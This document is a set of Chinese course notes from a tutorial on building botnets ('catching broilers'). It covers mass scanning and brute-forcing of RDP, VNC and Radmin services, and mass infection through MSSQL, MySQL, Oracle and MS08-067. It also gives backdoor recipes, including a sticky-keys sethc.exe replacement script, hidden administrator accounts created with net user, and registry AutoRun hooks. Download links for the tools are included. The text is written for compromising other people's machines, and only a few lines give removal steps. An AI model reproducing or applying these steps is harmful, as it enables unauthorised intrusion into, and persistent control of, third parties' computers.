黑手安全网——-那些年我们抓过的肉鸡课程笔记

黑手安全网的一套抓鸡教程

地址：链接：https://pan.baidu.com/s/1EK9Q1hYs4_bEN648Bg0LWA 
提取码：6u2x 
工具集合：链接：https://pan.baidu.com/s/1gJ8l-UGE4LvVFsldJok6CA 
提取码：1bkb 
 

一.端口扫描篇
1.tcp全扫描
抓鸡专用S扫描器.exe      使用方法：输入开始IP和结束IP，选择TCP，端口号，线程数，点开始进行扫描（扫描结果比较慢）
点击后会文件夹下生成一个s.exe文件，此为S扫描器原始文件。
——————————————–
2.S扫描器用法（tcp syn扫描）
s.exe syn ip1 ip2 端口号 线程数 /save         会在文件夹下生成一个result.txt文件保存结果。
例如：s.exe tcp 58.58.67.246 58.64.183.191 3389 200 /save 
———————–
如果是xp系统，需要激活成功教程syn限制 （如果不能扫描）
方法1:打开使用XP支持SYN扫描辅助工具.exe激活成功教程，打开线程修改.exe建议修改为2000
方法2:替换2个文件，将tcpip.sys，替换到相关目录2个目录
ren %systemroot%\system32\dllcache\tcpip.sys tcpip.sys.bak
ren %systemroot%\system32\drivers\tcpip.sys tcpip.sys.bak
———————–
3.VNC扫描
2款工具 VNCckahep 和VNC_GUI 工具界面
方法1:使用输入IP范围，点开始即可。
方法2:在start.bat中输入命令：VNC.exe -i 188.122.241.197-188.123.255.255  -p 3389 -cT -T 2000    双击即可。
——————————————–
4.VPN代理扫描
和未使用代理扫描结果一样，但比较安全 。
总结 ：
————————
1.速度： SYN最快 VNC次之 TCP最后
2.结果：未代理前：VNC最多 TCP扫描次之 SYN最后 代理后：跟前面一样的
3.选择一个有效的代理：选择机房 更换代理 
4.重复：VNC、tcp基本上不会出现重复 SYN重复就比较严重
5.稳定：VNC TCP SYN
6.宽带：SYN 
7.线程：VNC 1024 以内 TCP 
8.服务器环境：SYN 
——————————————–
——————————————–
5.扫描结果知多少
———————–
1.跟IP段有关系（3389 ）
2.跟地区有关系
3.跟选择模式有关系
4.跟带宽有关系
———————-
6.nmap扫描，需要安装 nmap-zenmapGUI,nmap-5.51-setup.exe
和正常的扫描一样，输ip范围直接扫。
———————————————-
=============================================================================================================================================
二.远程控制上线篇
1.上线配置，讲解基本的远控工具的配置。
2.内外网辨认，内网和外网的区分。
3.内网上线
——————-
内网上线的方法有：
1.路由器映射     登陆路由器管理界面，进入虚拟服务器，然后添加内网机器进行端口映射。 路由器中。DMZ功能，如果设置成内网的一台IP，这台内网机器就变为了外网。
2.内网映射            内网机器 和 外网的机器          ，通过内网映射工具进行映射。原理差不多。
3.VPN上线             ip138.com 
4.上线通/内网通
——————-
4.外网上线
——————-
1.IP地址上线           每次拔号，IP地址会变。我们所使用的都是动态的IP地址。
2.动态域名上线
3322 花生壳 公云        原理就是把自己这个电脑做成一台有固定域名的服务器，木马每次连接这个域名，就相当于连接我们的电脑 。
www.xxx.com
3.QQ空间上线/百度空间/博客上线
http://hi.baidu.com/ys_huanghun/item/40a90f433fbd02e51381da92
http://forum.cnsec.org/forum-viewthread-action-printable-tid-84403.html
4.FTP上线
——————–
5.PHP版远程控制上线

============================================================================================================================================
三.端口爆破篇
1.用户名和密码
收集自己的字典，不要一直用别人的字典。
———————————————
2.DUBrute爆破3389
使用DUBrute工具对3389进行爆破，讲解了工具用法和原理等。
———————————————
3.VPS SCANNER爆破3389
VPS SCANNER工具的使用，工具比较老。2012年就比较老了。
使用方法：双击scan.exe文件，输入命令。命令行格式为：196.326.133.101/16或 104.28.20.71/24类似于这样的格式。回车即可扫描开始。
user,pass文件为用户名密码字典。
———————————————
4.另类从代理IP入手找活跃IP段
自己寻找活跃IP段，介绍了2款软件 ，ProxyFinder.exe,RDPSIF.exe
开启ProxyFinder.exe软件，点”find“按钮，开始查找代理IP,点”save“按钮保存代理sIP地址。
打开RDPSIF.exe，点”loadlist“加载刚才保存的代理IP地址，点”start“按钮，右边窗口会出现活跃IP地址。自己测试未找到活跃IP段。
———————————————
5.RDP Brute扫描与爆破3389
介绍了一款软件，RDP Brute.exe,
软件内的配置文件，user.txt,pass.txt为字典文件，修改它们，输入IP段，点”start scan“,之点”start brute“开始爆破。
原理，找到活跃IP段，过滤3389端口的IP，然后爆破。
———————————————
6.Ip_city+frdpb_v2爆破3389
2个查找IP地址的工具，
Ip_city.exe使用方法，打开后点”load“,选中country中的一项，再选择region中的一项，再选city中的一项，再点”city“，有些会有IP地址在右边窗口出现，保存这些IP。
frdpb_v2.exe使用方法，修改它的配置文件，user.txt,pass.txt,ranges.txt(里面添刚才的IP地址)，点”start scan“开始爆破。
总结：先扫描IP地址，然后过滤3389，再使用这样的爆破软件进行爆破。
———————————————
7.dedcheck批量检查3389服务器
检查3389服务器是否存活，
使用软件，dedcheck.exe软件，验证3389服务器能否使用，字典格式为：207.63.67.225@test;password,打开软件时，软件己失效，估计软件有捆绑木马。
———————————————
8.QTss-Brute爆破3389
使用软件QTss-Brute爆破3389，原理都差不多的。
QTss-Brute软件使用：打开qtss2.exe，点”options“—“edit”—-编辑用户名密码和IP段—–点”ok“—–“start”开始爆破，如果成功在good处会显示 。
———————————————
9.RDP_brute v1.0爆破3389
讲解RDP_brute v1.0工具的使用，打开后，设置IP段，用户名，密码，点“brute”爆破开始。工具比较简单。和前面工具类似。
———————————————
10.RDP Brute force爆破3389
讲解了RDP Cracker.exe工具的使用方法，使用这个软件前需要安装msrdp.ocx插件（百度搜索即可），工具使用大同小异。
———————————————
11.RDP_Brute V1.1[Public]爆破3389
讲解了RDP_Brute V1.1[Public]工具使用方法。和其它爆破工具类似。
———————————————
12.VUBrute爆破5900
讲解了VUBrute 1.0.exe工具的使用，打开后，点“generation”设置IP和密码，点“make”，回主界面，点“start”.和爆破3389类似。
———————————————
13.vncviewer爆破5900
S扫描器扫5900端口，直接连VNC，这节课有问题。几乎没有空口令的VNC。
———————————————
14.HelloVNC爆破5900
一个俄文软件，爆破空口令。感觉也没什么用处。
———————————————
15.Lamescan爆破4899
使用lamescan.exe工具爆破4899，然后使用radmin viewer工具连接。
导入IP，配置文件下的字典文件。点开始扫描，
———————————————
16.RDMbrut爆破4899
感觉没什么用处。
———————————————
17.RadBrute爆破4899
先扫4899端口主机，配置好IP，密码，运行radbrute,它会自动爆破4899，

============================================================================================================================================

============================================================================================================================================
四.批量抓鸡篇
1.1433批量抓鸡NO1
准备工作，架设FTP，将ftp所在的IP地址，在路由器进行设置DZM功能，使用其成功一台外网IP。
step1:打开蓝屏的钙1433工具，按提示，输入IP段。
step2:自己手动在FTPHEX目录下，打开hex.hta，选择木马文件，点“转换”，将其转成16进制。
step3:根据提示，设置好FTP相关配置参数。
step4:根据提示，设置好mssql.sql相关参数，主要替换IP地址，木马文件名，FTP登陆用户名密码。
step5:继续按任意键，开始激活成功教程，如果成功会有提示。
———————————————
2.1433批量抓鸡NO2
用法上第1个差不多，都是先架设FTP，后面的步骤一模一样，软件为：猎狐网络1433 VIP自定义线程版。
———————————————
3.1433批量抓鸡NO3
Start F_X-1433，用法一样。
———————————————
4.135批量抓鸡NO1（）必须为TCP扫描
和1433设置方法差不多。黑瞳135扫描器，小毅高级135终结版工具用法。修改配置信息须使用C32ASM工具修改。
———————————————
5.135批量抓鸡NO2
几款135抓鸡工具，工具使用方法类似。抓鸡现在必须使用VPN。
小宇135绝版，修改。ftp.sys里面的信息，修改，scan.bat里面的信息。改syn为tcp,改IP段，改/save为1024/save ，1024为最有线程数。
兄弟网络135VIP版，使用方法类似。
其它工具类似。
———————————————
6.3306批量抓鸡NO1（用syn扫描）
3306端口扫描抓鸡工具，修改  dat 的 update.ini  即可 扫描内涵放入的IP段 （可修改）
修改里面的FTP地址，用户名，密码，木马名称。
———————————————
7.3306批量抓鸡NO2（原理就是弱口令扫描）
介绍了几款工具使用方法。
———————————————
8.1521（oracle）批量抓鸡
rnljm自动1521工具使用：
rnljm自动1521
使用步骤：
1，本工具需要安装ActivePerl(下载地址:http://www.skycn.com/soft/1211.html)和oracle客户端(下载地址:http://download.oracle.com/otn/nt/instantclient/111070/instantclient-basiclite-win32-11.1.00.7.0.zip)支持。
2，设置java.sql文件中的FTP信息（当然是设置成自己的FTP喽）。
3，复制java.sql到C盘。
4，设置要扫描的IP段到ALLIP.txt中。
5，点击start1521.bat开始抓鸡。
rnljm整理，保证没有后门，如不明白自己百度。
———————————————-
9.445批量抓鸡(ms08-067漏洞)
雪落445工具：修改配置参数，将IP.txt文件修改为开放445端口，然后点ms08-067.exe
———————————————-
10.2967批量抓鸡（利用诺顿2967端口溢出获得控制权）
老漏洞，工具使用方法类同
———————————————-

===============================================================================================================================================
五.安装后门篇
1.3389批量种植木马。使用    RDP-BotNET-Creator.exe软件自动验证3389登陆，并上传木马。点最左边按钮选上木马，点中间那个按钮选择开始。
2.CMD锁死器 （梦想网络收集cmd锁死.exe） 
双击后，再使用CMD时，需要使用密码。

原理：1.修改注册表：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor 中新建一个键，AutoRun,修改内容为“C:\WINDOWS\system\pass.cmd”

2.将源码pass.cmd放入C:\WINDOWS\system中
——————————————————–
3.SHIFT简单后门    在远程连接3389时，按5下SHIFT会弹出粘滞键，目的就是要替换这个文件。
批处理文件源码为;
@echo off 
del /q %systemroot%\system32\dllcache\sethc.exe 
del /q %systemroot%\system32\sethc.exe 
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe 
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe 
保存为5shift.bat 运行后即可。

解决方法;
1.删除这2个文件。
2.限制这2个文件权限 ，点击文件，右键“安全”—-把除SYSTEM,Administrators的其它用户权限 设“拒绝”下打勾。
—————————-
4.加密SHIFT后门
原理估计就是捆绑软件，加一个验证的窗口。
使用iam007 2.22.exe软件，加密cmd.exe文件，并将文件名改为sethc.exe替换shift后门文件。改后3389登陆后。5次shift需要输入密码才能开启后门。
—————————-
5.shift后门生成器（就是自己做了一个后门）
使用：点击该软件输入密码生成一个文件，改名为sethc.exe文件，并替换这个文件。快捷键为ALT+Q,在3389登陆后，5次shift，快捷键alt+q，即可打开后门窗口。
—————————-
6.仿真shift后门
就是高仿了一个shift长的一样的后门。也是替换。用法是，点击一个“键”字会触发后门。试了一下，这个易语言做的，好像不太稳定，容易出问题。估计实战中没几个人会用吧。
—————————–
7.shift后门汇总
也是一款shift后门，意思都是一样的，只不过这个是自动生成，自动替换，和手动的一样。比上一课仿真的管用。
——————————–
8.不死账号
使用“兄弟网络抓鸡工具包激活成功教程版”软件创建不死账号，之后就无法删除了。
删除方法：打开注册表，打开键值“HKEY_LOCAL_MACHINE\SAM\SAM”，右键“权限”—“添加”—“Administrator”—“检查名称”—-“确定”—“查看”—“刷新”然后找到隐藏账号，右键“删除”
———————————-
9.隐藏账号
创建管理员账号命令：
net user admin$ admin/add
net localgroup administrators admin$ /add
net user admin$ /del            删除管理员账号
使用软件hideadmin.exe工具实现隐藏账号。命令为：hidexadmin.exe admin$ admin               //admin$ admin为用户名和密码，用户名后缀必须加$,
删除方法：打开注册表HKEY_LOCAL_MACHINE->SAM->SAM往下展开 SAM->Domain－>Account->Users->names，如果打不开就给予登陆用户名权限，刷新，然后右键删除。
————————————
10.服务器后门终结者
使用软件“超越永久3389后门植入器.exe”，；软件只要双击即可。会生成账号密码。
功能：

    1:运行即开放主机3389端口

    2:运行后既激活账户guest并提权为最高权限（密码为hk@5201314）

    4:运行后既建立超级隐藏账户administratord$（密码为qq@30938435）

    5:如果guest账户被禁用，只要管理员运行cmd工具后就可悄悄激活guest账户并提权为最高权限。

    6：如果3389端口被关，或guest账户被禁用，只要管理员重启下电脑后

    就可悄悄启动3389端口，和激活guest账户并提权为最高权限。

    7：只要有别人远程登录服务器后，即悄悄激活guest账户并提权为最高权限。

    8: 运行即创建超级shift后门。
————————————-

===============================================================================================================================================
六.疑问解决篇
1.三个为什么，打补丁，修改线程数，开启服务
windows xp
开启3个服务：
TCP/IP netbios helper 
remote procedure call (rpc) locator 
nt lm security support provider 
xp需要激活成功教程修改线程数
windows 2003可以直接使用S扫描器，xp不行，需要打补丁（tcpip.sys）。
———————————————-
2.无法扫描问题集合
——————————
SYN扫描（SYN扫描无法解决时通过TCP是可以解决的。）
    1.打了补丁后，电脑无法联网—- windows xpSP2最好用windows xp sp3
    2.打了补丁后，数字在跳动，用SYN扫描不出端口—-你是内网  你可以尝试TCP扫描 
    3.拿到了一个服务器，却发现该服务器竟然无法扫描—注销服务器或者重启服务器
    4.虚拟机内，无法扫描—桥接上网
    5.我开放了本机端口，但也无法扫描—-你长得太美了 
    6.网吧无法扫描—内网 
    7.一切准备就绪，但依旧无法扫描—-内网 
    8.前段时间可以扫描，最近不能扫描了。—你干过什么 重做系统 
———————————————-
3.PHP远控上线相关问题集锦
    1.php版本的远控需要的条件。:有一个域名 php空间 有一定的建站基础
    2.分不分内外网:不分内外网
    3.有一个特别现象:肉鸡每次开机后 会弹出资源管理器
———————————————-
4.远控上线问题集合

1.内网上线:网吧 校园网 园区网

2.外网上线:端口连接失败
———————————————-
5.DUBrute相关问题
———————————————-
6.虚拟机相关问题

    1.本机能扫描，但在虚拟机里面不能扫描？:物理机： 略过

    虚拟机： 会新建一个虚拟网卡，该虚拟网卡直接连接到我们的物理设备。

    宽带猫拨号：宽带账号在某些地区可以多拨 

    路由器联网：设置桥接，直接扫描。

    无线联网：绝对的内网，

    192.168.1.100 – 192.168.1.255

    小区（园区、校园、公司）网：代理VPN

    2.虚拟机扫描断网？:SYN扫描 TCP扫不会断网（1024） VNC

    3.在虚拟机里面抓鸡:安装.net 2.0 
———————————————-
7.服务器无法连接问题

    可能的原因：

    1.动态IP

    2.固定IP但可以切换

    3.管理员禁止

    唯一的解决方法：

    VPN代理
———————————————-
8.扫鸡问题集锦
    可能的原因：

    1.动态IP

    2.固定IP但可以切换

    3.管理员禁止

    唯一的解决方法：

    VPN代理

=============================================================================================================================================